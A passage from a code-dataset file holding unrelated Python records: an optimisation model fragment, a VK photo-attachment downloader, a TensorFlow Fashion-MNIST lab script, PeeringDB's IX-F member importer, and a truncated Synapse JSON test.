MaxFct(np.einsum('ik,k->ik', c['f2'], c['b']))\n\n self.pdhg_F = SplitSum([\n l1norms, # lbd*\\sum_i |p[i,:,:]|_2\n IndicatorFct(y['q0']['size'], c1=c['b_precond']), # \\delta_{q0 = 1}\n IndicatorFct(x['u1']['size']), # \\delta_{q1 = 0}\n IndicatorFct(x['u1']['size']), # \\delta_{q2 = 0}\n LowerBoundFct, # |max(0, q3 + diag(b)f1)|_1\n UpperBoundFct # |max(0, q4 - diag(b)f2)|_1\n ])\n\n def setup_solver_cvx(self):\n c = self.constvars\n imagedims = c['imagedims']\n n_image = c['n_image']\n d_image = c['d_image']\n l_labels = c['l_labels']\n l_shm = c['l_shm']\n\n self.cvx_x = Variable(\n ('p', (l_shm, d_image, n_image)),\n ('q0', (n_image,)),\n ('q1', (l_labels, n_image)),\n ('q2', (l_labels, n_image)),\n ('q3', (l_labels, n_image)),\n ('q4', (l_labels, n_image)),\n )\n\n self.cvx_y = Variable(\n ('u1', (n_image, l_labels)),\n ('v', (n_image, l_shm)),\n ('misc', (n_image*l_labels*5 + n_image,)),\n )\n\n p, q0, q1, q2, q3, q4 = [cvxVariable(*a['shape']) for a in self.cvx_x.vars()]\n self.cvx_vars = p + [q0,q1,q2,q3,q4]\n\n self.cvx_obj = cvx.Maximize(\n cvx.vec(q3).T*cvx.vec(cvx.diag(c['b'])*c['f1'].T)\n - cvx.vec(q4).T*cvx.vec(cvx.diag(c['b'])*c['f2'].T)\n - cvx.sum(q0))\n\n div_op = sparse_div_op(imagedims)\n\n self.cvx_dual = True\n self.cvx_constr = []\n\n # u1_constr\n for i in range(n_image):\n self.cvx_constr.append(c['b'][:]*q0[i] - q1[:,i] >= 0)\n\n # v_constr\n for i in range(n_image):\n for k in range(l_shm):\n Yk = cvx.vec(c['Y'][:,k])\n self.cvx_constr.append(\n Yk.T*(c['M'][k]*q2[:,i] + q1[:,i]) \\\n - cvxOp(div_op, p[k], i) == 0)\n\n # additional inequality constraints\n for i in range(n_image):\n for k in range(l_labels):\n self.cvx_constr.append(0 <= q3[k,i])\n self.cvx_constr.append(q3[k,i] <= 1)\n self.cvx_constr.append(0 <= q4[k,i])\n self.cvx_constr.append(q4[k,i] <= 1)\n self.cvx_constr.append(q4[k,i] - q3[k,i] - q2[k,i] == 0)\n\n for i in range(n_image):\n self.cvx_constr.append(sum(cvx.sum_squares(p[k][:,i]) \\\n for k in range(l_shm)) <= c['lbd']**2)\n","sub_path":"qball/models/sh_bndl1_tvc.py","file_name":"sh_bndl1_tvc.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"397558888","text":"'''\nDependencies: pip install vk==2.0.2\nCompatible with VK API v5.52\nUsage: python vkpycrawler.py -dir -token \nTo get access token, go to\nhttps://oauth.vk.com/authorize?client_id=5810848&display=page&redirect_uri=https://oauth.vk.com/blank.html&scope=messages&response_type=token&v=5.52\n'''\nimport json\nimport os\nimport sys\nimport time\nimport argparse\nimport logging\nfrom urllib import request\nfrom vk import API, Session\n\n\n__author__ = 'ddavydov'\n\nlogger = logging.getLogger('vkpycrawler')\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s - %(levelname)s - %(message)s')\n\nTIME_DELAY = 0.2 # seconds\n\nargparser = argparse.ArgumentParser()\nargparser.add_argument('-dir', required=True)\nargparser.add_argument('-token', required=True)\n\n\nclass VKAPIWrapper(API):\n def __getattr__(self, item):\n if item in ['messages', 'users']:\n # workaround to avoid `too many requests` API error\n time.sleep(TIME_DELAY)\n return super().__getattr__(item)\n\n\nclass VKSessionWrapper(Session):\n def make_request(self, method_request, captcha_response=None):\n response = self.send_api_request(method_request,\n captcha_response=captcha_response)\n return json.loads(response.text)\n\n\nclass Worker(object):\n MESSAGES_PER_PAGE = 200\n PHOTOS_PER_PAGE = 200\n MEDIA_TYPE = 'photo'\n\n def __init__(self, dir, token, *args, **kwargs):\n self.dir = dir\n self.api = VKAPIWrapper(VKSessionWrapper(token))\n\n def _prepare_directory(self):\n if os.path.exists(self.dir):\n if not os.path.isdir(self.dir):\n raise Exception('%s is not a directory!' % self.dir)\n else:\n os.mkdir(self.dir)\n logger.info('Prepared directory')\n\n def _get_user_by_id(self, uids):\n return self.api.users.get(user_ids=uids)['response']\n\n def _scan_dialogues(self):\n logger.info('Getting list of dialogs..')\n offset = 0\n uids = []\n while offset <= len(uids):\n resp = self.api.messages.getDialogs(count=self.MESSAGES_PER_PAGE,\n offset=offset)\n offset += self.MESSAGES_PER_PAGE\n uids.extend([item['uid'] for item in resp['response'][1:]])\n return self._get_user_by_id(uids)\n\n def _scan_chats(self):\n # TODO: implement chat scan and fetch photos sent by user\n # TODO: as well as received by user\n return []\n\n def _get_photo_url(self, object: dict):\n ordered_keys = ['src_xxxbig', 'src_xxbig', 'src_xbig',\n 'src_big', 'src']\n for key in ordered_keys:\n if key in object.keys():\n return object[key]\n\n def _save_images(self, dest_dir, sources):\n logger.info('saving..')\n for url in sources:\n name = url.split('/')[-1]\n dest_file = os.path.join(dest_dir, name)\n if not os.path.exists(dest_file):\n request.urlretrieve(url, dest_file)\n\n def _fetch_files(self, peers_list):\n for item in peers_list:\n logger.info('Fetching files from {first_name} {last_name}..'\n .format(**item))\n sources = []\n start_from = None\n dest_dir = os.path.join(self.dir,\n '{first_name}_{last_name}'.format(**item))\n while start_from != '':\n logger.info('getting photo urls(page {page_num})..'\n .format(page_num=len(sources) // self.PHOTOS_PER_PAGE))\n kwargs = {'peer_id': item['uid'], 'media_type': self.MEDIA_TYPE,\n 'count': self.PHOTOS_PER_PAGE}\n if start_from:\n kwargs.update({'start_from': start_from})\n resp = self.api.messages.getHistoryAttachments(**kwargs)\n if (type(resp) != dict or 'response' not in resp or\n type(resp['response']) != dict): break\n sources.extend([self._get_photo_url(photo['photo'])\n for photo in resp['response'].values()\n if type(photo) == dict])\n if not start_from and sources:\n if not os.path.exists(dest_dir) or not os.path.isdir(dest_dir):\n os.mkdir(dest_dir)\n start_from = resp.get('next_from', '')\n self._save_images(dest_dir, sources)\n\n def run(self):\n self._prepare_directory()\n peers_list = self._scan_dialogues()\n peers_list.extend(self._scan_chats())\n self._fetch_files(peers_list)\n logger.info('Finished!')\n\nif __name__ == '__main__':\n args = argparser.parse_args(sys.argv[1:])\n worker = Worker(args.dir, args.token)\n worker.run()\n","sub_path":"vkpycrawler.py","file_name":"vkpycrawler.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"368916419","text":"import tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--activation', type=str, default=\"sigmoid\")\nparser.add_argument('--proc', type=int, default=4)\nparser.add_argument('--optimizer', type=str, default=\"gd\")\nargs = parser.parse_args()\n\n# load data\nmnist = input_data.read_data_sets('data/fashion', one_hot=True)\n# 1. Define Variables and Placeholders\nx = tf.placeholder(tf.float32, shape=[None, 784])\ny_ = tf.placeholder(tf.float32, shape=[None, 10])\n\n# building the model\ndef model(x):\n\n\tW1 = tf.Variable(tf.truncated_normal([784,200], stddev=0.1))\n\tb1 = tf.Variable(tf.zeros([200]))\n\tW2 = tf.Variable(tf.truncated_normal([200,100], stddev=0.1))\n\tb2 = tf.Variable(tf.zeros([100]))\n\tW3 = tf.Variable(tf.truncated_normal([100,60], stddev=0.1))\n\tb3 = tf.Variable(tf.zeros([60]))\n\tW4 = tf.Variable(tf.truncated_normal([60,30], stddev=0.1))\n\tb4 = tf.Variable(tf.zeros([30]))\n\tW5 = tf.Variable(tf.truncated_normal([30,10], stddev=0.1))\n\tb5 = tf.Variable(tf.zeros([10]))\n\n\tx_flat = tf.reshape(x, [-1, 784])\n\n\tdef activation_function(in_):\n\t\tif args.activation == \"relu\":\n\t\t\treturn tf.nn.relu(in_)\n\t\telif args.activation == \"sigmoid\":\n\t\t\treturn tf.nn.sigmoid(in_)\n\n\ty1 = activation_function(tf.matmul(x_flat, W1) + b1)\n\ty2 = activation_function(tf.matmul(y1, W2) + b2) \n\ty3 = activation_function(tf.matmul(y2, W3) + b3) \n\ty4 = activation_function(tf.matmul(y3, W4) + b4) \n\ty_logits = tf.matmul(y4, W5) + b5\n\toutput = tf.nn.softmax(y_logits) \n\n\treturn output, y_logits\n\nprediction, y = model(x)\n\n# 3. Define the loss function\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\n# 4. Define the accuracy\ncorrect_prediction = tf.equal(tf.argmax(prediction,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n# 5. Define an optimizer\nif args.optimizer == \"adam\":\n optimizer = tf.train.AdamOptimizer(0.0009) #0.8784\nelif args.optimizer == \"gd\":\n optimizer = tf.train.GradientDescentOptimizer(0.7) #0.859\ntrain_step = optimizer.minimize(cross_entropy)\n\n# initialize\ninit = tf.initialize_all_variables() \nconfig = tf.ConfigProto(intra_op_parallelism_threads=args.proc, inter_op_parallelism_threads=args.proc)\nsess = tf.Session(config=config)\nsess.run(init)\n\ndef training_step(i, update_test_data, update_train_data):\n\n\tif i % 100 == 0:\n\t\tprint(\"\\r\", i)\n ####### actual learning \n # reading batches of 100 images with 100 labels\n\tbatch_X, batch_Y = mnist.train.next_batch(100)\n # the backpropagation training step\n\ttrain_dict = {x: batch_X, y_: batch_Y}\n\tsess.run(train_step, feed_dict=train_dict)\n \n ####### evaluating model performance for printing purposes\n # evaluation used to later visualize how well you did at a particular time in the training\n\ttrain_a = []\n\ttrain_c = []\n\ttest_a = []\n\ttest_c = []\n\tif update_train_data:\n\t\ta, c = sess.run([accuracy, cross_entropy], feed_dict=train_dict)\n\t\ttrain_a.append(a)\n\t\ttrain_c.append(c)\n\n\tif update_test_data:\n\t\ttest_dict = {x: mnist.test.images, y_: mnist.test.labels}\n\t\ta, c = sess.run([accuracy, cross_entropy], feed_dict= test_dict)\n\t\ttest_a.append(a)\n\t\ttest_c.append(c)\n\treturn (train_a, train_c, test_a, test_c)\n\ntrain_a = []\ntrain_c = []\ntest_a = []\ntest_c = []\n \ntraining_iter = 10000\nepoch_size = 100\nfor i in range(training_iter):\n test = False\n if i % epoch_size == 0:\n test = True\n a, c, ta, tc = training_step(i, test, test)\n train_a += a\n train_c += c\n test_a += ta\n test_c += tc\n\nprint(\"Using \"+ args.activation.upper()+ \" + \" + args.optimizer.upper() + \".\")\n\ntest_dictionary = {x: mnist.test.images, y_: mnist.test.labels}\nprint(\"Test accuracy: \", sess.run(accuracy, feed_dict=test_dictionary))\n\n# accuracy training vs testing dataset\nplt.title(\"Accuracy\")\nplt.plot(train_a, label=\"train\")\nplt.plot(test_a, label=\"test\")\nplt.grid(True)\nplt.legend(loc=\"best\")\nplt.show()\n\n# loss training vs testing dataset\nplt.title(\"Loss\")\nplt.plot(train_c, label=\"train\")\nplt.plot(test_c, label=\"test\")\nplt.grid(True)\nplt.legend(loc=\"best\")\nplt.show()\n\n# Zoom in on the tail of the plots\nzoom_point = 50\nx_range = range(zoom_point,int(training_iter/epoch_size))\nplt.title(\"Accuracy Zoom\")\nplt.plot(x_range, train_a[zoom_point:], label=\"train\")\nplt.plot(x_range, test_a[zoom_point:], label=\"test\")\nplt.grid(True)\nplt.legend(loc=\"best\")\nplt.show()\n\nplt.title(\"Loss Zoom\")\nplt.plot(train_c[zoom_point:], label=\"train\")\nplt.plot(test_c[zoom_point:], label=\"test\")\nplt.grid(True)\nplt.legend(loc=\"best\")\nplt.show()\n\n\"\"\"\nQUESTION 1:\nUsing Relu + Adam test accuracy : 0.8673 on test set\nUsing Relu + gd test accuracy : 0.8563 on test set\nUsing Sigmoid + Adam test accuracy : 0.8784 on test set\nUsing Sigmoid + gd test accuracy : 0.86 on test set\n\nQUESTION 2:\nRelu is slightly faster in converging. The reason is that relu tends to reach convergence faster than saturating neurons.\nRelu is also faster from the computational point of view not requiring any exponential computation, this also tends to fasten\nthe training (not the convergence).\n\nQUESTION 3:\nWe use softmax because is the closest differentiable function to max that is thus trainable with gradient descent.\n\nQUESTION 4:\nWith the final implementation we didn't notice any strange behaviour but in a previously built model we had the possibility\nto observe the phenomenon of the dying relu. As a matter of fact due to excessively small gradient propagated through the \nnetwork more and more relu units were dying and after interrupting a certain number of paths we were observing a sudden drop \nin the prediciton capabilities of the network.\n\n\"\"\"","sub_path":"Lab2/final_files/two.py","file_name":"two.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"104700308","text":"import json\nimport re\n\nimport requests\nimport ipaddress\n\nfrom django.db import transaction\nfrom django.core.cache import cache\nfrom django.utils.translation import ugettext_lazy as _\n\nimport reversion\n\nfrom peeringdb_server.models import (\n IXLanIXFMemberImportAttempt,\n IXLanIXFMemberImportLog,\n IXLanIXFMemberImportLogEntry,\n Network,\n NetworkIXLan,\n)\n\n\nclass Importer(object):\n\n allowed_member_types = [\n \"peering\",\n \"ixp\",\n \"routeserver\",\n \"probono\",\n ]\n allowed_states = [\n \"\",\n None,\n \"active\",\n \"inactive\",\n \"connected\",\n \"operational\",\n ]\n\n def __init__(self):\n self.cache_only = False\n self.skip_import = False\n self.reset()\n\n def reset(self, ixlan=None, save=False, asn=None):\n self.reset_log()\n self.netixlans = []\n self.netixlans_deleted = []\n self.ipaddresses = []\n self.asns = []\n self.archive_info = {}\n self.ixlan = ixlan\n self.save = save\n self.asn = asn\n\n def fetch(self, url, timeout=5):\n \"\"\"\n Retrieves ixf member export data from the url\n\n Will do a quick sanity check on the data\n\n Returns dict containing the parsed data.\n\n Arguments:\n - url \n\n Keyword arguments:\n - timeout : max time to spend on request\n \"\"\"\n\n if not url:\n return {\"pdb_error\": _(\"IXF import url not specified\")}\n\n try:\n result = requests.get(url, timeout=timeout)\n except Exception as exc:\n return {\"pdb_error\": exc}\n\n if result.status_code != 200:\n return {\"pdb_error\": \"Got HTTP status {}\".format(result.status_code)}\n\n try:\n data = result.json()\n except Exception as inst:\n data = {\"pdb_error\": _(\"No JSON could be parsed\")}\n return data\n\n data = self.sanitize(data)\n\n # locally cache result\n\n if data and not data.get(\"pdb_error\"):\n cache.set(self.cache_key(url), data, timeout=None)\n\n return data\n\n def cache_key(self, url):\n \"\"\"\n returns the django cache key to use for caching ix-f data\n\n Argument:\n\n url \n \"\"\"\n\n return \"IXF-CACHE-{}\".format(url)\n\n def fetch_cached(self, url):\n \"\"\"\n Returns locally cached IX-F data\n\n Arguments:\n\n url \n \"\"\"\n\n if not url:\n return {\"pdb_error\": _(\"IXF import url not specified\")}\n\n data = cache.get(self.cache_key(url))\n\n if data is None:\n return {\n \"pdb_error\": _(\"IX-F data not locally cached for this resource yet.\")\n }\n\n return data\n\n def sanitize(self, data):\n \"\"\"\n Takes ixf data dict and runs some sanitization on it\n \"\"\"\n\n invalid = None\n vlan_list_found = False\n\n # This fixes instances where ixps provide two separate entries for\n # vlans in vlan_list for ipv4 and ipv6 (AMS-IX for example)\n for member in data.get(\"member_list\", []):\n asn = member.get(\"asnum\")\n for conn in member.get(\"connection_list\", []):\n vlans = conn.get(\"vlan_list\", [])\n if not vlans:\n continue\n vlan_list_found = True\n if len(vlans) == 2:\n # if vlans[0].get(\"vlan_id\") == vlans[1].get(\"vlan_id\"):\n keys = list(vlans[0].keys()) + list(vlans[1].keys())\n if keys.count(\"ipv4\") == 1 and keys.count(\"ipv6\") == 1:\n vlans[0].update(**vlans[1])\n conn[\"vlan_list\"] = [vlans[0]]\n\n if not vlan_list_found:\n invalid = _(\"No entries in any of the vlan_list lists, aborting.\")\n\n data[\"pdb_error\"] = invalid\n\n return data\n\n def update(self, ixlan, save=True, data=None, timeout=5, asn=None):\n \"\"\"\n Sync netixlans under this ixlan from ixf member export json data (specs\n can be found at https://github.com/euro-ix/json-schemas)\n\n Arguments:\n - ixlan (IXLan): ixlan object to update from ixf\n\n Keyword Arguments:\n - save (bool): commit changes to db\n - asn (int): only process changes for this ASN\n\n Returns:\n - Tuple(success, netixlans, log)\n \"\"\"\n\n self.reset(ixlan=ixlan, save=save, asn=asn)\n\n # if data is not provided, retrieve it either from cache or\n # from the remote resource\n if data is None:\n if self.cache_only:\n data = self.fetch_cached(ixlan.ixf_ixp_member_list_url)\n else:\n data = self.fetch(ixlan.ixf_ixp_member_list_url, timeout=timeout)\n\n # bail if there has been any errors during sanitize() or fetch()\n if data.get(\"pdb_error\"):\n self.log_error(data.get(\"pdb_error\"), save=save)\n return (False, [], [], self.log)\n\n # bail if there are no active prefixes on the ixlan\n if ixlan.ixpfx_set_active.count() == 0:\n self.log_error(_(\"No prefixes defined on ixlan\"), save=save)\n return (False, [], [], self.log)\n\n if self.skip_import:\n return (True, [], [], self.log)\n\n try:\n # parse the ixf data\n self.parse(data)\n except KeyError as exc:\n # any key erros mean that the data is invalid, log the error and\n # bail (transactions are atomic and will be rolled back)\n self.log_error(\"Internal Error 'KeyError': {}\".format(exc), save=save)\n return (False, self.netixlans, [], self.log)\n\n # process any netixlans that need to be deleted\n self.process_deletions()\n\n # archive the import so we can roll it back later if needed\n self.archive()\n\n if save:\n self.save_log()\n\n return (True, self.netixlans, self.netixlans_deleted, self.log)\n\n @reversion.create_revision()\n def process_deletions(self):\n \"\"\"\n Cycles all netixlans on the ixlan targeted by the importer and\n will remove any that are no longer found in the ixf data by\n their ip addresses\n\n In order for a netixlan to be removed both it's ipv4 and ipv6 address\n or it's asn need to be gone from the ixf data after validation\n \"\"\"\n\n netixlan_qset = self.ixlan.netixlan_set_active\n\n # if we are only processing a specific asn ignore\n # all that dont match\n\n if self.asn:\n netixlan_qset = netixlan_qset.filter(asn=self.asn)\n\n for netixlan in netixlan_qset:\n\n ipv4 = \"{}-{}\".format(netixlan.asn, netixlan.ipaddr4)\n ipv6 = \"{}-{}\".format(netixlan.asn, netixlan.ipaddr6)\n\n if netixlan.asn not in self.asns:\n self.log_peer(\n netixlan.asn, \"delete\", _(\"ASN no longer in data\"), netixlan\n )\n self.netixlans_deleted.append(netixlan)\n if self.save:\n netixlan.delete()\n elif ipv4 not in self.ipaddresses and ipv6 not in self.ipaddresses:\n self.log_peer(\n netixlan.asn,\n \"delete\",\n _(\n \"Ip addresses no longer exist in validated data or are \"\n \"no longer with this asn\"\n ),\n netixlan,\n )\n self.netixlans_deleted.append(netixlan)\n if self.save:\n netixlan.delete()\n elif (netixlan.ipaddr4 and ipv4 not in self.ipaddresses) or (\n netixlan.ipaddr6 and ipv6 not in self.ipaddresses\n ):\n if not netixlan.network.allow_ixp_update:\n self.log_peer(\n netixlan.asn,\n \"delete\",\n _(\n \"At least one ipaddress mismatched and \"\n \"network has disabled updates\"\n ),\n netixlan,\n )\n self.netixlans_deleted.append(netixlan)\n if self.save:\n netixlan.delete()\n\n @transaction.atomic()\n def archive(self):\n \"\"\"\n Create the IXLanIXFMemberImportLog for this import\n \"\"\"\n\n if self.save and (self.netixlans or self.netixlans_deleted):\n persist_log = IXLanIXFMemberImportLog.objects.create(ixlan=self.ixlan)\n for netixlan in self.netixlans + self.netixlans_deleted:\n versions = reversion.models.Version.objects.get_for_object(netixlan)\n if len(versions) == 1:\n version_before = None\n else:\n version_before = versions[1]\n version_after = versions[0]\n info = self.archive_info.get(netixlan.id, {})\n persist_log.entries.create(\n netixlan=netixlan,\n version_before=version_before,\n action=info.get(\"action\"),\n reason=info.get(\"reason\"),\n version_after=version_after,\n )\n\n def parse(self, data):\n \"\"\"\n Parse ixf data\n\n Arguments:\n - data : result from fetch()\n \"\"\"\n with transaction.atomic():\n self.parse_members(data.get(\"member_list\", []))\n\n def parse_members(self, member_list):\n \"\"\"\n Parse the `member_list` section of the ixf schema\n\n Arguments:\n - member_list \n \"\"\"\n for member in member_list:\n # we only process members of certain types\n member_type = member.get(\"member_type\", \"peering\").lower()\n if member_type in self.allowed_member_types:\n # check that the as exists in pdb\n asn = member[\"asnum\"]\n\n # if we are only processing a specific asn, ignore all\n # that dont match\n if self.asn and asn != self.asn:\n continue\n\n # keep track of asns we find in the ix-f data\n if asn not in self.asns:\n self.asns.append(asn)\n\n if Network.objects.filter(asn=asn).exists():\n network = Network.objects.get(asn=asn)\n if network.status != \"ok\":\n self.log_peer(\n asn,\n \"ignore\",\n _(\"Network status is '{}'\").format(network.status),\n )\n continue\n\n self.parse_connections(\n member.get(\"connection_list\", []), network, member\n )\n else:\n self.log_peer(\n asn, \"ignore\", _(\"Network does not exist in peeringdb\")\n )\n else:\n self.log_peer(\n asn, \"ignore\", _(\"Invalid member type: {}\").format(member_type)\n )\n\n def parse_connections(self, connection_list, network, member):\n \"\"\"\n Parse the 'connection_list' section of the ixf schema\n\n Arguments:\n - connection_list \n - network : pdb network instance\n - member : row from ixf member_list\n \"\"\"\n\n asn = member[\"asnum\"]\n for connection in connection_list:\n state = connection.get(\"state\", \"active\").lower()\n if state in self.allowed_states:\n\n speed = self.parse_speed(connection.get(\"if_list\", []))\n\n self.parse_vlans(\n connection.get(\"vlan_list\", []), network, member, connection, speed\n )\n else:\n self.log_peer(\n asn, \"ignore\", _(\"Invalid connection state: {}\").format(state)\n )\n\n def parse_vlans(self, vlan_list, network, member, connection, speed):\n \"\"\"\n Parse the 'vlan_list' section of the ixf_schema\n\n Arguments:\n - vlan_list \n - network : pdb network instance\n - member : row from ixf member_list\n - connection : row from ixf connection_list\n - speed : interface speed\n \"\"\"\n\n asn = member[\"asnum\"]\n for lan in vlan_list:\n ipv4_valid = False\n ipv6_valid = False\n\n ipv4 = lan.get(\"ipv4\", {})\n ipv6 = lan.get(\"ipv6\", {})\n\n # vlan entry has no ipaddresses set, log and ignore\n if not ipv4 and not ipv6:\n self.log_error(\n _(\n \"Could not find ipv4 or 6 address in \"\n \"vlan_list entry for vlan_id {} (AS{})\"\n ).format(lan.get(\"vlan_id\"), asn)\n )\n continue\n\n ipv4_addr = ipv4.get(\"address\")\n ipv6_addr = ipv6.get(\"address\")\n\n # parse and validate the ipaddresses attached to the vlan\n # append the ipaddresses to self.ipaddresses so we can\n # later check them to see which netixlans need to be\n # dropped during `process_deletions`\n try:\n if ipv4_addr:\n self.ipaddresses.append(\n \"{}-{}\".format(\n asn, ipaddress.ip_address(u\"{}\".format(ipv4_addr))\n )\n )\n if ipv6_addr:\n self.ipaddresses.append(\n \"{}-{}\".format(\n asn, ipaddress.ip_address(u\"{}\".format(ipv6_addr))\n )\n )\n except (ipaddress.AddressValueError, ValueError) as exc:\n self.log_error(\n _(\"Ip address error '{}' in vlan_list entry for vlan_id {}\").format(\n exc, lan.get(\"vlan_id\")\n )\n )\n continue\n\n netixlan_info = NetworkIXLan(\n ixlan=self.ixlan,\n network=network,\n ipaddr4=ipv4_addr,\n ipaddr6=ipv6_addr,\n speed=speed,\n asn=asn,\n is_rs_peer=(\n ipv4.get(\"routeserver\", False) or ipv6.get(\"routeserver\", False)\n ),\n )\n\n if not self.save and (\n not self.ixlan.test_ipv4_address(ipv4_addr)\n and not self.ixlan.test_ipv6_address(ipv6_addr)\n ):\n # for the preview we don't care at all about new ip addresses\n # not at the ixlan if they dont match the prefix\n continue\n\n # if connection state is inactive we won't create or update\n if connection.get(\"state\", \"active\") == \"inactive\":\n self.log_peer(\n asn,\n \"noop\",\n _(\"Connection is currently marked as inactive\"),\n netixlan_info,\n )\n continue\n\n # after this point we either add or modify the netixlan, so\n # now is a good time to check if the related network allows\n # such updates, bail if not\n if not network.allow_ixp_update:\n self.log_peer(\n asn, \"noop\", _(\"Network has disabled ixp updates\"), netixlan_info\n )\n continue\n\n # add / modify the netixlan\n result = self.ixlan.add_netixlan(\n netixlan_info, save=self.save, save_others=self.save\n )\n\n if result[\"netixlan\"] and result[\"changed\"]:\n self.netixlans.append(result[\"netixlan\"])\n if result[\"created\"]:\n action = \"add\"\n reason = _(\"New ip-address\")\n else:\n action = \"modify\"\n reason = _(\"Fields changed: {}\").format(\n \", \".join(result.get(\"changed\"))\n )\n\n self.log_peer(asn, action, reason, result[\"netixlan\"])\n elif result[\"netixlan\"]:\n self.log_peer(asn, \"noop\", _(\"No changes\"), result[\"netixlan\"])\n elif result[\"log\"]:\n self.log_peer(asn, \"ignore\", \"\\n\".join(result[\"log\"]), netixlan_info)\n\n def parse_speed(self, if_list):\n \"\"\"\n Parse speed from the 'if_list' section in the ixf data\n\n Arguments:\n - if_list \n\n Returns:\n - speed \n \"\"\"\n speed = 0\n for iface in if_list:\n try:\n speed += int(iface.get(\"if_speed\", 0))\n except ValueError:\n self.log_error(\n _(\"Invalid speed value: {}\").format(iface.get(\"if_speed\"))\n )\n return speed\n\n def save_log(self):\n \"\"\"\n Save the attempt log\n \"\"\"\n IXLanIXFMemberImportAttempt.objects.update_or_create(\n ixlan=self.ixlan, defaults={\"info\": \"\\n\".join(json.dumps(self.log))}\n )\n\n def reset_log(self):\n \"\"\"\n Reset the attempt log\n \"\"\"\n self.log = {\"data\": [], \"errors\": []}\n\n def log_peer(self, asn, action, reason, netixlan=None):\n \"\"\"\n log peer action in attempt log\n\n Arguments:\n - asn \n - action : add | modify | delete | noop | ignore\n - reason \n\n Keyrword Arguments:\n - netixlan : if set, extra data will be added\n to the log.\n \"\"\"\n peer = {\n \"ixlan_id\": self.ixlan.id,\n \"ix_id\": self.ixlan.ix.id,\n \"ix_name\": self.ixlan.ix.name,\n \"asn\": asn,\n }\n\n if netixlan:\n peer.update(\n {\n \"net_id\": netixlan.network_id,\n \"ipaddr4\": \"{}\".format(netixlan.ipaddr4 or \"\"),\n \"ipaddr6\": \"{}\".format(netixlan.ipaddr6 or \"\"),\n \"speed\": netixlan.speed,\n \"is_rs_peer\": netixlan.is_rs_peer,\n }\n )\n\n if netixlan.id:\n self.archive_info[netixlan.id] = {\n \"action\": action,\n \"reason\": \"{}\".format(reason),\n }\n\n self.log[\"data\"].append(\n {\"peer\": peer, \"action\": action, \"reason\": \"{}\".format(reason),}\n )\n\n def log_error(self, error, save=False):\n \"\"\"\n Append error to the attempt log\n \"\"\"\n self.log[\"errors\"].append(\"{}\".format(error))\n if save:\n self.save_log()\n\n\nclass PostMortem(object):\n\n \"\"\"\n Generate postmortem report for ix-f import\n \"\"\"\n\n def reset(self, asn, **kwargs):\n\n \"\"\"\n Reset for a fresh run\n\n Argument(s):\n\n - asn : asn of the network to run postormem\n report for\n\n Keyword Argument(s):\n\n - limit : limit amount of import logs to process\n max limit is defined by server config `IXF_POSTMORTEM_LIMIT`\n\n \"\"\"\n\n self.asn = asn\n self.limit = kwargs.get(\"limit\", 100)\n self.post_mortem = []\n\n def generate(self, asn, **kwargs):\n \"\"\"\n Generate and return a new postmortem report\n\n Argument(s):\n\n - asn : asn of the network to run postmortem\n report for\n\n Keyword Argument(s):\n\n - limit : limit amount of import logs to process\n max limit is defined by server config `IXF_POSTMORTEM_LIMIT`\n\n Returns:\n\n - dict: postmortem report\n \"\"\"\n\n self.reset(asn, **kwargs)\n self._process_logs(limit=self.limit)\n return self.post_mortem\n\n def _process_logs(self, limit=100):\n\n \"\"\"\n Process IX-F import logs\n\n KeywordArgument(s):\n\n - limit : limit amount of import logs to process\n max limit is defined by server config `IXF_POSTMORTEM_LIMIT`\n \"\"\"\n\n # we only want import logs that actually touched the specified\n # asn\n\n qset = IXLanIXFMemberImportLogEntry.objects.filter(netixlan__asn=self.asn)\n qset = qset.exclude(action__isnull=True)\n qset = qset.order_by(\"-log__created\")\n qset = qset.select_related(\"log\", \"netixlan\", \"log__ixlan\", \"log__ixlan__ix\")\n\n for entry in qset[:limit]:\n self._process_log_entry(entry.log, entry)\n\n def _process_log_entry(self, log, entry):\n\n \"\"\"\n Process a single IX-F import log entry\n\n Argument(s):\n\n - log \n - entry \n\n \"\"\"\n\n if entry.netixlan.asn != self.asn:\n return\n\n data = entry.version_after.field_dict\n if data.get(\"asn\") != self.asn:\n return\n\n if data.get(\"ipaddr4\"):\n ipaddr4 = \"{}\".format(data.get(\"ipaddr4\"))\n else:\n ipaddr4 = None\n\n if data.get(\"ipaddr6\"):\n ipaddr6 = \"{}\".format(data.get(\"ipaddr6\"))\n else:\n ipaddr6 = None\n\n self.post_mortem.append(\n {\n \"ix_id\": log.ixlan.ix.id,\n \"ix_name\": log.ixlan.ix.name,\n \"ixlan_id\": log.ixlan.id,\n \"changes\": entry.changes,\n \"reason\": entry.reason,\n \"action\": entry.action,\n \"asn\": data.get(\"asn\"),\n \"ipaddr4\": ipaddr4,\n \"ipaddr6\": ipaddr6,\n \"speed\": data.get(\"speed\"),\n \"is_rs_peer\": data.get(\"is_rs_peer\"),\n \"created\": log.created.strftime(\"%Y-%m-%d %H:%M:%S\"),\n }\n )\n","sub_path":"peeringdb_server/ixf.py","file_name":"ixf.py","file_ext":"py","file_size_in_byte":22174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"645771787","text":"import synapse.exc as s_exc\n\nimport synapse.lib.stormlib.json as s_json\n\nimport synapse.tests.utils as s_test\n\nclass JsonTest(s_test.SynTest):\n\n async def test_stormlib_json(self):\n\n async with self.getTestCore() as core:\n\n self.eq(((1, 2, 3)), await core.callStorm('return($lib.json.load(\"[1, 2, 3]\"))'))\n self.eq(('[\"foo\", \"bar\", \"baz\"]'), await core.callStorm('return($lib.json.save((foo, bar, baz)))'))\n\n with self.raises(s_exc.BadJsonText):\n await core.callStorm('return($lib.json.load(foo))')\n\n with self.raises(s_exc.MustBeJsonSafe):\n await core.callStorm('return($lib.json.save($lib.print))')\n\n # jsonschema tests\n 